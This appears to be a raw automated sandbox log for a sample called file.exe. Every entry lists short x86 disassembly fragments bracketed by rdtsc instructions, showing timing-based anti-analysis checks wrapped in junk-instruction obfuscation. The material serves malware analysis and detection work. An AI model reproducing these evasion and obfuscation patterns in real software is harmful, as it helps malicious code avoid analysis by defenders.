Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568E9B second address: 568EBA instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6E04C712C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F6E04C712C8h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 jnc 00007F6E04C712C6h 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568EBA second address: 568EDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E0453100Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jc 00007F6E04531006h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568EDA second address: 568EDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568FCE second address: 568FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6E04531019h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568FF0 second address: 56905F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007F6E04C712D2h 0x00000010 pop eax 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F6E04C712C8h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b jmp 00007F6E04C712D1h 0x00000030 lea ebx, dword ptr [ebp+12453977h] 0x00000036 adc cx, CD00h 0x0000003b xchg eax, ebx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F6E04C712D3h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57BDC9 second address: 57BDCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589838 second address: 589840 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589840 second address: 589870 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f jp 00007F6E04531006h 0x00000015 popad 0x00000016 push esi 0x00000017 jmp 00007F6E04531017h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589870 second address: 589875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589875 second address: 58987D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58987D second address: 589881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589881 second address: 58988D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58988D second address: 589893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589893 second address: 589897 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587686 second address: 587692 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6E04C712C6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587812 second address: 587816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587816 second address: 58781C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587B24 second address: 587B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587B28 second address: 587B2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587B2C second address: 587B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587C8C second address: 587CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E04C712D9h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F6E04C712D2h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588232 second address: 588236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588504 second address: 58850A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58850A second address: 588513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588513 second address: 588517 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5886B3 second address: 5886D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04531013h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F6E04531006h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5886D5 second address: 5886D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5886D9 second address: 5886E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5886E3 second address: 5886E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5886E7 second address: 5886EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5886EB second address: 5886F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6E04C712C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588886 second address: 58888A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F008 second address: 57F018 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F6E04C712C6h 0x0000000a jp 00007F6E04C712C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F018 second address: 57F01E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5889DE second address: 5889FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6E04C712D4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5896E1 second address: 5896E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555A4C second address: 555A6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 ja 00007F6E04C712C6h 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007F6E04C712D2h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55248C second address: 5524C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E0453100Dh 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d push esi 0x0000000e push eax 0x0000000f pop eax 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop esi 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 pop edx 0x00000019 jmp 00007F6E04531017h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5524C4 second address: 5524CA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 595559 second address: 59555F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59555F second address: 595567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 595567 second address: 59556C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59927C second address: 599282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 599282 second address: 599286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598951 second address: 598955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598955 second address: 598993 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04531011h 0x00000007 jmp 00007F6E04531014h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F6E0453100Dh 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598993 second address: 598999 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598AF5 second address: 598AF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598DF1 second address: 598DFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598F40 second address: 598F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jl 00007F6E04531006h 0x0000000c jmp 00007F6E04531015h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5990B8 second address: 5990BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5990BC second address: 5990C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5990C0 second address: 5990D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E04C712CFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5990D5 second address: 5990DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F6E04531006h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5990DF second address: 5990E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5990E3 second address: 5990F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59BEDA second address: 59BEE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59BEE0 second address: 59BEE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C2AA second address: 59C2AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C53B second address: 59C541 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C541 second address: 59C547 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C547 second address: 59C54B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CC43 second address: 59CC47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CC47 second address: 59CC6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6E04531019h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D102 second address: 59D107 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D1C2 second address: 59D1C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D23A second address: 59D247 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6E04C712C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D247 second address: 59D28D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 call 00007F6E04531012h 0x0000000e sub dword ptr [ebp+122D204Dh], ebx 0x00000014 pop edi 0x00000015 xchg eax, ebx 0x00000016 jmp 00007F6E04531018h 0x0000001b push eax 0x0000001c je 00007F6E04531014h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 pop eax 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D71E second address: 59D72D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F6E04C712C8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D72D second address: 59D733 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E07C second address: 59E098 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E098 second address: 59E09C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E09C second address: 59E0E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, dword ptr [ebp+122D2D5Ah] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F6E04C712C8h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e push ebx 0x0000002f or dword ptr [ebp+122D2F1Ch], eax 0x00000035 pop edi 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jnl 00007F6E04C712CCh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59F241 second address: 59F269 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007F6E04531006h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jo 00007F6E04531021h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F6E04531013h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59F269 second address: 59F2BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F6E04C712C8h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 push edx 0x00000022 sbb edi, 096D80A5h 0x00000028 pop esi 0x00000029 push 00000000h 0x0000002b movzx edi, ax 0x0000002e push 00000000h 0x00000030 xor dword ptr [ebp+122D29F8h], ebx 0x00000036 mov di, 0242h 0x0000003a xchg eax, ebx 0x0000003b jc 00007F6E04C712DDh 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F6E04C712CFh 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A117C second address: 5A11BF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6E0453100Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, dword ptr [ebp+122D36E1h] 0x00000013 push 00000000h 0x00000015 xor dword ptr [ebp+122D20ACh], edx 0x0000001b sbb esi, 07F83A40h 0x00000021 push 00000000h 0x00000023 mov edi, dword ptr [ebp+122D2C20h] 0x00000029 xchg eax, ebx 0x0000002a jmp 00007F6E0453100Dh 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A11BF second address: 5A11DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E04C712D9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A049B second address: 5A04A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A04A1 second address: 5A04A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A1CD0 second address: 5A1D62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F6E04531012h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e ja 00007F6E0453100Ch 0x00000014 nop 0x00000015 push ecx 0x00000016 pushad 0x00000017 or ebx, dword ptr [ebp+122D32FDh] 0x0000001d xor dword ptr [ebp+122D208Ah], eax 0x00000023 popad 0x00000024 pop edi 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007F6E04531008h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 0000001Ah 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 jng 00007F6E04531008h 0x00000047 push edx 0x00000048 pop esi 0x00000049 push 00000000h 0x0000004b xchg eax, ebx 0x0000004c pushad 0x0000004d jmp 00007F6E0453100Fh 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F6E04531019h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5517 second address: 5A5574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e jp 00007F6E04C712CCh 0x00000014 popad 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F6E04C712C8h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000019h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+122D20ACh], ecx 0x00000038 push 00000000h 0x0000003a mov dword ptr [ebp+122D28BAh], eax 0x00000040 or ebx, dword ptr [ebp+122D29AAh] 0x00000046 xchg eax, esi 0x00000047 jl 00007F6E04C712D4h 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7B4E second address: 5A7B58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F6E04531006h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7B58 second address: 5A7BBE instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6E04C712C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 or ebx, 0C8B6A7Ch 0x00000017 pushad 0x00000018 mov edx, dword ptr [ebp+122D375Dh] 0x0000001e jmp 00007F6E04C712D2h 0x00000023 popad 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push edi 0x00000029 call 00007F6E04C712C8h 0x0000002e pop edi 0x0000002f mov dword ptr [esp+04h], edi 0x00000033 add dword ptr [esp+04h], 0000001Dh 0x0000003b inc edi 0x0000003c push edi 0x0000003d ret 0x0000003e pop edi 0x0000003f ret 0x00000040 push eax 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F6E04C712CAh 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A56D5 second address: 5A5771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F6E04531008h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 push dword ptr fs:[00000000h] 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007F6E04531008h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 0000001Dh 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 jmp 00007F6E04531015h 0x0000004b mov dword ptr fs:[00000000h], esp 0x00000052 mov ebx, dword ptr [ebp+122D20C2h] 0x00000058 mov eax, dword ptr [ebp+122D0525h] 0x0000005e mov dword ptr [ebp+12454E03h], edx 0x00000064 push FFFFFFFFh 0x00000066 mov bx, ax 0x00000069 nop 0x0000006a pushad 0x0000006b jmp 00007F6E0453100Ch 0x00000070 push ebx 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7BBE second address: 5A7BC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
